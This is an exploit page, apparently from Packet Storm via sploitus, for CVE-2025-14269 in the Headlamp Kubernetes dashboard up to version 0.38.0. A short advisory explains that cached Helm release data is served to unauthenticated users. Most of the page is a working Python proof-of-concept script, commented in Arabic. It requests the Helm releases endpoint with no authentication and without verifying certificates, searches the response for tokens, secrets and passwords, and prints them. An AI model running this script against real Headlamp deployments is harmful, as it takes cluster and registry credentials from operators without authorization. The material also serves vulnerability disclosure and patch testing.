Share
## https://sploitus.com/exploit?id=PACKETSTORM:213210
=============================================================================================================================================
    | # Title     : Headlamp 0.38.0 Unauthenticated Cached Credentials Access in Helm UI                                                        |
    | # Author    : indoushka4ever@gmail.com                                                                                                    |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://headlamp.dev                                                                                                        |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/213051/ & CVE-2025-14269
    
    [+] Summary    :  a significant security vulnerability in the in-cluster version of the Headlamp Kubernetes dashboard (versions ≤ v0.38.0). 
                      The flaw allows unauthenticated users to access sensitive Helm release data, including secrets, tokens, and passwords, due to improper server-side caching.
                      Core Mechanism: When Helm functionality is enabled (config.enableHelm: true), 
    				  the server caches the API response from the /clusters/main/helm/releases/list endpoint after an authorized user first visits the Helm page. 
    				  Subsequent unauthenticated requests to the same endpoint receive this cached data without authorization checks.
    
    [+] Impact      : This vulnerability can lead to credential leakage and potential privilege escalation, granting unauthorized users access to sensitive cluster or registry credentials.
    
    [+] POC :
    
    #!/usr/bin/env python3
    """
    Proof of Concept (PoC) for CVE-2025-14269
    Vulnerability: Unauthenticated cached credentials access in Headlamp's Helm UI.
    Author: indoushka 
    Usage: python3 poc.py <TARGET_URL>
    """
    
    import sys
    import requests
    import json
    import argparse
    from urllib.parse import urljoin
    
    # تعطيل تحذيرات SSL لأغراض الاختبار (يمكن أن يكون الهدف يستخدم شهادة ذاتية التوقيع)
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
    
    def exploit_target(target_url):
        """
        يرسل طلبًا غير مصرح به إلى مسار Helm الخاص بـ Headlamp ويحاول استخراج البيانات الحساسة.
        """
        # نقطة النهاية المستهدفة
        helm_endpoint = "/clusters/main/helm/releases/list"
        full_url = urljoin(target_url, helm_endpoint)
    
        print(f"[*] استهداف: {target_url}")
        print(f"[*] اختبار الثغرة في: {full_url}")
        print("[*] إرسال طلب GET غير مصادق...")
    
        try:
            # 1. إرسال الطلب بدون مصادقة أو ملفات تعريف ارتباط
            response = requests.get(full_url, verify=False, timeout=10)
    
            # 2. التحقق من نجاح الاستجابة
            if response.status_code == 200:
                print(f"[+] نجاح! استجابة تم الحصول عليها (الحالة: {response.status_code})")
                
                # 3. محاولة تحليل الاستجابة كـ JSON (التنسيق المتوقع للبيانات الحساسة)
                try:
                    data = response.json()
                    print("[+] تم تحليل الاستجابة كـ JSON بنجاح.")
                    print("[+] فحص البيانات المسترجعة للعثور على معلومات حساسة...")
    
                    # 4. دالة مساعدة متكررة للبحث عن قيم تبدو حساسة (مفاتيح، رموز، كلمات مرور)
                    def find_sensitive(data, path=""):
                        findings = []
                        if isinstance(data, dict):
                            for key, value in data.items():
                                new_path = f"{path}.{key}" if path else key
                                # البحث عن مفاتيح باسماء تدل على حساسيتها
                                sensitive_keywords = ['token', 'secret', 'password', 'key', 'credential', 'auth']
                                if any(kw in key.lower() for kw in sensitive_keywords):
                                    findings.append((new_path, value))
                                findings.extend(find_sensitive(value, new_path))
                        elif isinstance(data, list):
                            for i, item in enumerate(data):
                                new_path = f"{path}[{i}]"
                                findings.extend(find_sensitive(item, new_path))
                        return findings
    
                    sensitive_items = find_sensitive(data)
                    if sensitive_items:
                        print("[!] *** تم العثور على معلومات حساسة محتملة في الذاكرة المؤقتة! ***")
                        for path, value in sensitive_items:
                            # إخفاء القيمة جزئيًا للأمان
                            if value and isinstance(value, str):
                                masked = value[:4] + "****" + value[-4:] if len(value) > 8 else "****"
                            else:
                                masked = "****"
                            print(f"    المسار: {path}")
                            print(f"    القيمة (مخفية): {masked}\n")
                    else:
                        print("[-] لم يتم العثور على معلومات حساسة واضحة في بيانات JSON.")
    
                    # 5. عرض عينة من البيانات لفحصها يدويًا
                    print("\n[*] عينة من البيانات الخام (أول 500 حرف):")
                    sample = json.dumps(data, indent=2)[:500]
                    print(sample + ("..." if len(json.dumps(data)) > 500 else ""))
    
                except json.JSONDecodeError:
                    print("[!] الاستجابة ليست بصيغة JSON. قد تكون البيانات في تنسيق آخر أو قد يكون المسار غير صحيح.")
                    print("[*] عرض أول 200 حرف من الاستجابة الخام:")
                    print(response.text[:200])
    
            elif response.status_code == 403 or response.status_code == 401:
                print(f"[-] تم رفض الوصول (الحالة: {response.status_code}). قد يكون التطبيق غير معرض أو قد تم مسح ذاكرة التخزين المؤقت.")
            else:
                print(f"[-] استجابة غير متوقعة (الحالة: {response.status_code})")
    
        except requests.exceptions.ConnectionError:
            print(f"[-] فشل في الاتصال بـ {target_url}. تحقق من العنوان أو أن الخادم يعمل.")
        except requests.exceptions.Timeout:
            print(f"[-] انتهت مهلة الطلب. قد يكون الخادم بطيئًا أو غير متاح.")
        except Exception as e:
            print(f"[-] حدث خطأ غير متوقع: {e}")
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="PoC للثغرة CVE-2025-14269 في Headlamp.")
        parser.add_argument("target_url", help="الرابط الأساسي لتطبيق Headlamp (مثال: http://headlamp.example.com:4466)")
        args = parser.parse_args()
    
        exploit_target(args.target_url)
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================